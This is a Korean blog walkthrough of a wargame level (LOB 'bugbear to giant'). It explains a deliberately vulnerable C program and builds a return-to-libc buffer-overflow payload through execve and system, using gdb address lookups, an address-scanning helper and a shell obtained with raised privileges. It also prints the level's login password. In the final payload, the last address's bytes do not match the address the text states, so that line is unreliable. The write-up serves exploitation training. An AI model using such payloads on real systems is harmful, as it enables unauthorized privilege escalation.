[해커스쿨 LOB] Level14: Bugbear >> Giant

두비니

·

2020. 8. 2. 19:23

 


Level 14. Bugbear >> Giant

Theme: RTL


 

로그인

id : bugbear
pw : new divide

 

 

bash2 & 코드확인

     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - giant
     4          - RTL2
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>
     8  #include <unistd.h>

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          FILE *fp;
    13          char *lib_addr, *execve_offset, *execve_addr;
    14          char *ret;

    15          if(argc < 2){
    16                  printf("argv error\n");
    17                  exit(0);
    18          }

    19          // gain address of execve
    20          fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
    21          fgets(buffer, 255, fp);
    22          sscanf(buffer, "(%x)", &lib_addr);
    23          fclose(fp);

    24          fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
    25          fgets(buffer, 255, fp);
    26          sscanf(buffer, "%x", &execve_offset);
    27          fclose(fp);

    28          execve_addr = lib_addr + (int)execve_offset;
    29          // end

    30          memcpy(&ret, &(argv[1][44]), 4);
    31          if(ret != execve_addr)
    32          {
    33                  printf("You must use execve!\n");
    34                  exit(0);
    35          }

    36          strcpy(buffer, argv[1]);
    37          printf("%s\n", buffer);
    38  }

 

 

뭐가 많이 길어졌네요. 코드 분석부터 해봅시다.

 

    19          // gain address of execve
    20          fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
    21          fgets(buffer, 255, fp);
    22          sscanf(buffer, "(%x)", &lib_addr);
    23          fclose(fp);

 

자 함수도 처음보는거 많을테니 모를만한거 좀 짚어보고 가겠습니다.

     FILE *popen(const char *comstring, const char *type);

우선 popen()함수입니다. system()함수처럼 명령어를 실행시키는 함수입니다. 대신 system()함수와 차이점은 명령어를 실행 후 단순히 결과값 자체를 출력만 시켜주는 system()함수와 달리 popen()함수는 그 결과값을 저장할 수 있습니다. 

 

그럼 20번째 줄은 /usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}' 를 실행시키고, 그 결과값을 fd포인터로 받는거겠죠?

위에 명령어가 다 절대경로로 써놔서 그런데, 사실 ldd assassin | grep libc | awk '{print $4}' 입니다. 

뜻은 assassin의 libc의 주소를 구해오는 과정입니다. popen말고 다른 명령어들도 모르겠다면 밑에 각 명령어에 대한 설명링크 걸어놨으니 모르는 명령어들이 있다면 추가로 더 알아보시길 바랍니다.

 

더 참고하고싶다면 다음 링크 참조

popen : https://hackerj.tistory.com/57

grep : https://recipes4dev.tistory.com/157

awk : https://yaic.tistory.com/entry/awk-%EC%A0%95%EB%A6%AC

 

[bugbear@localhost bugbear]$ ldd giant | grep libc | awk '{print $4}'
(0x40018000)

 

짜잔 해보면 알 수 있지요

아무튼 저 과정(20, 21번줄)을 한 뒤에 22번줄을 통해서 &lib_addr에다가 집어넣겠다고 하네요.

 

    24          fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
    25          fgets(buffer, 255, fp);
    26          sscanf(buffer, "%x", &execve_offset);
    27          fclose(fp);

 

24번부터 27번까지는 앞부분이랑 방법이 같죠? 

__execeve함수의 offset을 &execve_offset에 넣겠다고 하네요.

 

    28          execve_addr = lib_addr + (int)execve_offset;
    29          // end

    30          memcpy(&ret, &(argv[1][44]), 4);
    31          if(ret != execve_addr)
    32          {
    33                  printf("You must use execve!\n");
    34                  exit(0);
    35          }

    36          strcpy(buffer, argv[1]);
    37          printf("%s\n", buffer);
    38  }

 

 

그러고 난 뒤 main함수의 RET값이 execve함수와 같아야 진행할 수 있네요.

오랜만에 스택상황을 좀 봅시다,

 

 

그러면 공격 시나리오는 다음과 같이 짤 수 있을 것 같습니다.

execve함수를 이용한 RTL을 해야겠죠?

 

RTL을 하기 위해서 execve의 함수 원형을 알아봅시다.

우선 execve함수는 파일을 현재 프로세스에 적재하여 새로운 기능을 하는 함수입니다. 쉽게 말해서 외부 함수를 실행시킬 수 있는 함수입니다. RTL을 쓸거면 함수의 매개변수를 알아야겠죠?

 

int  execve  (const  char  *filename, char *const argv [], char *const envp[]);

 

*filename : 프로그램에 적재할 파일 (새로 실행시킬 프로그램)

argv[] : 실행할 프로그램에 전단하는 매개변수의 배열

envp[] : 전달할 환경변수의 배열

 

다 좋지만 결론적으로 execve함수를 이용하여 RTL을 사용하고 싶다면, 보내고 싶은 매개변수에 대해서 각각의 주소를 찾아야 하기 때문에 번거롭습니다. 따라서 다음과 같이 페이로드를 짜볼게요.

 

 

::payload:: 

 

`python -c 'print "A"*44 + (execve주소) + (system주소) + (exit주소) + ("/bin/sh"의 주소)

 

 

다음과 같이 짤 수 있습니다. 

저렇게 페이로드를 구성하면 다음과 같은 일이 일어납니다.

 

1. execve()함수가 exit()주소와 "/bin/sh"의 주소를 매개변수로 가지고 실행됨

2. exit()함수가 실행되고, execve()함수가 종료됨.

3. system()함수가 "/bin/sh"의 주소를 매개변수로 가지고 실행되고, 쉘이 따임

 

그럼 우리가 구해야 할 주소는

 

1. execve함수의 주소

2. system, exit함수의 주소

3. "/bin/sh"의 주소

 

겠네요. 차근차근 구해봅시다.

 

 

1. execve함수의 주소

 

사실 이건 그냥 원본 코드가 구했던 방법 그대로 하면 됩니다.

 

 

[bugbear@localhost bugbear]$ ldd giant | grep libc | awk '{print $4}'
(0x40018000)
[bugbear@localhost bugbear]$ nm /lib/libc.so.6 | grep __execve | awk '{print $1}'
00091d48

 

libc의 시작주소가 0x40018000이고, execve함수의 offset은 0x0091d48입니다. 두 값을 더하면 0x400a9d48이 되네요. 이걸 검토한번합시다.

 

[bugbear@localhost bugbear]$ cp giant gianl
[bugbear@localhost bugbear]$ gdb -q gianl
(gdb) b * main
Breakpoint 1 at 0x8048560
(gdb) r
Starting program: /home/bugbear/gianl

Breakpoint 1, 0x8048560 in main ()
(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>

 

사실 이렇게 평소에 구하던 것처럼 주소를 구해도 상관없습니다. 그냥 코드에 적혀져있는대로 해봤어요ㅎㅎ

어느 방법으로 해도 상관없지만 함수의 주소는 libc의 주소 + offset이라는 개념 자체는 알고 계셔야합니다. 나중에 다루게 될 ROP에서 쓰입니다.

 

2. system / exit 함수의 주소 구하기

(gdb) p system
$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$3 = {void (int)} 0x400391e0 <exit>

 

같은방법이라 설명은 생략할게요!

 

 

 

3. "/bin/sh"의 주소

 

이건 저번 문제랑 동일하게 코드를 이용하여 구하도록 하겠습니다.

 

#include <stdio.h>
#include <string.h>

int main(){
        long system = 0x40058ae0;
        while (memcmp((void*)system, "/bin/sh\x00", 8)){
                system++;
        }
        printf("/bin/sh: %x\n", system);

        return 0;

}

 

 

컴파일 과정입니다.

[bugbear@localhost bugbear]$ vi getaddr.c
[bugbear@localhost bugbear]$ gcc -o getaddr getaddr.c
[bugbear@localhost bugbear]$ ./getaddr
/bin/sh: 400fbff9

 

자 /bin/sh의 주소까지 알아냈으니 공격해봅시다.

 

execve()의 주소 : 0x400a9d48

system()의 주소 : 0x40058ae0

exit()의 주소 : 0x400391e0

/bin/sh의 주소 : 0x400fbff9

 

::최종 페이로드::

 

`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x00\x04"'`

 

[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x00\x04"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@▒@▒@▒
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer

 

 

굳굳 다음~